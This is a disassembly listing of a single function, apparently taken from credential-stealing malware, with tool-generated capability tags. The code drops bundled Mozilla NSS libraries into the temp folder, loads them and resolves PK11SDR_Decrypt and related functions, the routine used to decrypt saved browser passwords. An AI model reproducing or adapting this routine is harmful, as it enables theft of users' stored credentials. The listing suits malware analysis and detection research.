Function at 0x40e279
Capabilities:
Check if file exists
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe3c
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0xe38]
push esi
xor edi, edi
mov ebx, ecx
push edi
push eax
mov dword [ebp - 0x14], ebx
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0xe38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [ebp + 0xc], 1
jne 0x40e694
cmp dword [ebx + 0xd4], edi
je 0x40e2ee
cmp dword [ebx + 0xc8], edi
je 0x40e2ee
cmp dword [ebx + 0xcc], edi
je 0x40e2ee
cmp dword [ebx + 0xd8], edi
je 0x40e2ee
cmp dword [ebx + 0xc0], edi
je 0x40e2ee
cmp dword [ebx + 0xd0], edi
jne 0x40e694
mov ecx, dword [0x42083c]
lea eax, [ebp - 0x30]
push 5
push dword [ecx + 8]
mov ecx, dword [ecx + 4]
push eax
call fcn.00419ab7
cmp dword [ebp - 0x2c], edi
jne 0x40e317
lea ecx, [ebp - 0x30]
call fcn.00403457
jmp 0x40eac5
mov esi, 0x100
lea eax, [ebp - 0xa30]
push esi
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x430]
push esi
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x830]
push esi
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x630]
push esi
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0xc30]
push esi
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x230]
push esi
push edi
push eax
call fcn.004012cf
add esp, 0xc
mov esi, 0x519d0
push esi
call fcn.00401000
mov dword [ebp - 0xc], eax
mov dword [esp], 0x217d0
call fcn.00401000
mov dword [ebp - 8], eax
mov dword [esp], 0x6b738
call fcn.00401000
mov dword [ebp + 0xc], eax
mov dword [esp], 0x1303d0
call fcn.00401000
mov edi, eax
mov dword [esp], 0x235d0
mov dword [ebp - 0x18], edi
call fcn.00401000
mov dword [ebp - 0x10], eax
mov dword [esp], 0x14748
call fcn.00401000
pop ecx
push esi
mov esi, dword [ebp - 0x30]
push esi
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call fcn.004012a9
add esp, 0xc
lea ecx, [esi + 0x519d0]
push 0x217d0
push ecx
push dword [ebp - 8]
call fcn.004012a9
add esp, 0xc
lea eax, [esi + 0x731a0]
push 0x6b738
push eax
push dword [ebp + 0xc]
call fcn.004012a9
add esp, 0xc
lea eax, [esi + 0xde8d8]
push 0x1303d0
push eax
push edi
call fcn.004012a9
add esp, 0xc
lea eax, [esi + 0x20eca8]
push 0x235d0
push eax
push dword [ebp - 0x10]
call fcn.004012a9
add esp, 0xc
lea eax, [esi + 0x232278]
push 0x14748
push eax
push dword [ebp - 4]
call fcn.004012a9
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x230]
add esp, 0xc
push eax
push 0x100
call edi
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x230]
push str.softokn3.dll
push eax
call esi
lea eax, [ebp - 0x430]
push eax
push 0x100
call edi
push str.msvcp140.dll
lea eax, [ebp - 0x430]
push eax
call esi
lea eax, [ebp - 0x830]
push eax
push 0x100
call edi
push str.mozglue.dll
lea eax, [ebp - 0x830]
push eax
call esi
lea eax, [ebp - 0x630]
push eax
push 0x100
call edi
push str.vcruntime140.dll
lea eax, [ebp - 0x630]
push eax
call esi
lea eax, [ebp - 0xc30]
push eax
push 0x100
call edi
push str.freebl3.dll
lea eax, [ebp - 0xc30]
push eax
call esi
lea eax, [ebp - 0xa30]
push eax
push 0x100
call edi
push str.nss3.dll
lea eax, [ebp - 0xa30]
push eax
call esi
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x40e61f
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x40e61f
cmp dword [ebp - 8], 0
je 0x40e61f
cmp dword [ebp - 4], 0
je 0x40e61f
mov edi, dword [ebp - 0xc]
test edi, edi
je 0x40e61f
mov esi, dword [ebp - 0x18]
test esi, esi
je 0x40e61f
cmp byte [edx], 0x4d
push 0x5a
pop eax
jne 0x40e584
cmp byte [edx + 1], al
jne 0x40e584
push 0x235d0
lea ecx, [ebp - 0x230]
call fcn.004171b0
pop ecx
mov ecx, dword [ebp + 0xc]
push 0x5a
pop eax
cmp byte [ecx], 0x4d
jne 0x40e5a1
cmp byte [ecx + 1], al
jne 0x40e5a1
mov edx, ecx
lea ecx, [ebp - 0x430]
push 0x6b738
call fcn.004171b0
pop ecx
mov eax, dword [ebp - 8]
cmp byte [eax], 0x4d
jne 0x40e5c2
cmp byte [eax + 1], 0x5a
jne 0x40e5c2
push 0x217d0
mov edx, eax
lea ecx, [ebp - 0x830]
call fcn.004171b0
pop ecx
mov eax, dword [ebp - 4]
cmp byte [eax], 0x4d
jne 0x40e5e3
cmp byte [eax + 1], 0x5a
jne 0x40e5e3
push 0x14748
mov edx, eax
lea ecx, [ebp - 0x630]
call fcn.004171b0
pop ecx
cmp byte [edi], 0x4d
jne 0x40e601
cmp byte [edi + 1], 0x5a
jne 0x40e601
push 0x519d0
mov edx, edi
lea ecx, [ebp - 0xc30]
call fcn.004171b0
pop ecx
cmp byte [esi], 0x4d
jne 0x40e61f
cmp byte [esi + 1], 0x5a
jne 0x40e61f
push 0x1303d0
mov edx, esi
lea ecx, [ebp - 0xa30]
call fcn.004171b0
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x430]
push eax
call esi
mov dword [ebx + 0xc8], eax
lea eax, [ebp - 0x630]
push eax
call esi
mov dword [ebx + 0xd8], eax
lea eax, [ebp - 0x830]
push eax
call esi
mov dword [ebx + 0xcc], eax
lea eax, [ebp - 0xa30]
push eax
call esi
mov dword [ebx + 0xd0], eax
lea eax, [ebp - 0x230]
push eax
call esi
mov dword [ebx + 0xd4], eax
lea eax, [ebp - 0xc30]
push eax
call esi
push 0x64
mov dword [ebx + 0xc0], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x30]
call fcn.00403457
jmp 0x40e9e2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x41a58c
lea ecx, [ebp + 8]
call fcn.004034f3
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 8], edi
cmp dword [ebp + 8], edi
je 0x40e6d8
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call ebx
push str.nss3.dll
lea ecx, [ebp - 8]
call fcn.004034f3
mov dword [ebp - 0xc], edi
cmp dword [ebp + 8], edi
je 0x40e707
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call ebx
push str.msvcr120.dll
lea ecx, [ebp - 0xc]
call fcn.004034f3
mov dword [ebp - 0x18], edi
cmp dword [ebp + 8], edi
je 0x40e736
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 0x18], eax
push eax
call ebx
push str.msvcp120.dll
lea ecx, [ebp - 0x18]
call fcn.004034f3
mov dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x40e765
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 4], eax
push eax
call ebx
push str.mozglue.dll
lea ecx, [ebp - 4]
call fcn.004034f3
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], edi
je 0x40e794
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
push eax
call ebx
push str.softokn3.dll
lea ecx, [ebp - 0x10]
call fcn.004034f3
mov dword [ebp - 0x2c], edi
cmp dword [ebp + 8], edi
je 0x40e7c3
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 0x2c], eax
push eax
call ebx
push str.vcruntime140.dll
lea ecx, [ebp - 0x2c]
call fcn.004034f3
mov dword [ebp - 0x28], edi
cmp dword [ebp + 8], edi
je 0x40e7f2
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 0x28], eax
push eax
call ebx
push str.msvcp
lea ecx, [ebp - 0x28]
call fcn.004034f3
mov dword [ebp - 0x24], edi
cmp dword [ebp + 8], edi
je 0x40e821
push dword [ebp + 8]
call esi
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp + 8]
mov dword [ebp - 0x24], eax
push eax
call ebx
push str.msvcr
lea ecx, [ebp - 0x24]
call fcn.004034f3
mov esi, dword [ebp - 0x28]
push 0x5a
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp + 0xc], edi
test esi, esi
je 0x40e85e
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push esi
push eax
mov dword [ebp + 0xc], eax
call ebx
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp + 0xc]
call fcn.00403591
push 0x41bc1c
mov ecx, eax
call fcn.004034f3
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp + 0xc]
test eax, eax
jne 0x40e89b
add dword [ebp - 0x1c], 0xa
call fcn.004068b7
mov eax, dword [ebp - 0x1c]
cmp eax, 0x96
jne 0x40e83a
mov edi, dword [ebp - 0x18]
jmp 0x40e8c2
test ecx, ecx
je 0x40e8bd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406886
push dword [ebp + 0xc]
mov edi, eax
push edi
call ebx
mov ecx, dword [ebp + 0xc]
call fcn.004068b7
mov esi, dword [ebp - 0x24]
xor ebx, ebx
push 0x5a
pop eax
mov dword [ebp + 0xc], ebx
test esi, esi
je 0x40e8f2
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push esi
push eax
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp + 0xc]
call fcn.00403591
push 0x41bc1c
mov ecx, eax
call fcn.004034f3
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp + 0xc]
test eax, eax
jne 0x40e92f
add dword [ebp - 0x20], 0xa
call fcn.004068b7
mov eax, dword [ebp - 0x20]
cmp eax, 0x96
jne 0x40e8ca
mov esi, dword [ebp - 0xc]
jmp 0x40e95c
mov esi, ebx
test ecx, ecx
je 0x40e957
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406886
push dword [ebp + 0xc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp + 0xc]
call fcn.004068b7
push dword [ebp - 0x2c]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call ebx
mov ecx, dword [ebp - 0x14]
push esi
mov dword [ecx + 0xd8], eax
call ebx
mov ecx, dword [ebp - 0x14]
push edi
mov dword [ecx + 0xc4], eax
call ebx
mov ecx, dword [ebp - 0x14]
push dword [ebp - 4]
mov dword [ecx + 0xc8], eax
call ebx
mov ecx, dword [ebp - 0x14]
push dword [ebp - 8]
mov dword [ecx + 0xcc], eax
call ebx
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov dword [ebx + 0xd0], eax
call fcn.004068b7
mov ecx, dword [ebp - 0x28]
call fcn.004068b7
mov ecx, dword [ebp - 0x2c]
call fcn.004068b7
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
mov ecx, dword [ebp - 4]
call fcn.004068b7
mov ecx, edi
call fcn.004068b7
mov ecx, esi
call fcn.004068b7
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov ecx, dword [ebx + 0xd0]
test ecx, ecx
jne 0x40e9f3
xor edi, edi
jmp 0x40eac5
push ecx
mov edx, str.NSS_Init
call fcn.00415657
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11_GetInternalKeySlot
mov dword [ebx + 0x84], eax
call fcn.00415657
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11_Authenticate
mov dword [ebx + 0x9c], eax
call fcn.00415657
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11SDR_Decrypt
mov dword [ebx + 0x98], eax
call fcn.00415657
mov ecx, dword [ebx + 0xd0]
mov edx, str.NSSBase64_DecodeBuffer
mov dword [ebx + 0x8c], eax
call fcn.00415657
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11_CheckUserPassword
mov dword [ebx + 0x90], eax
call fcn.00415657
mov ecx, dword [ebx + 0xd0]
mov edx, str.NSS_Shutdown
mov dword [ebx + 0x94], eax
call fcn.00415657
mov ecx, dword [ebx + 0xd0]
mov edx, str.PK11_FreeSlot
mov dword [ebx + 0x88], eax
call fcn.00415657
mov ecx, dword [ebx + 0xd0]
mov edx, str.PR_GetError
mov dword [ebx + 0xa0], eax
call fcn.00415657
mov dword [ebx + 0xa4], eax
lea eax, [ebp - 0xe38]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edi, edi
inc edi
mov ecx, dword [ebp + 8]
call fcn.004068b7
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8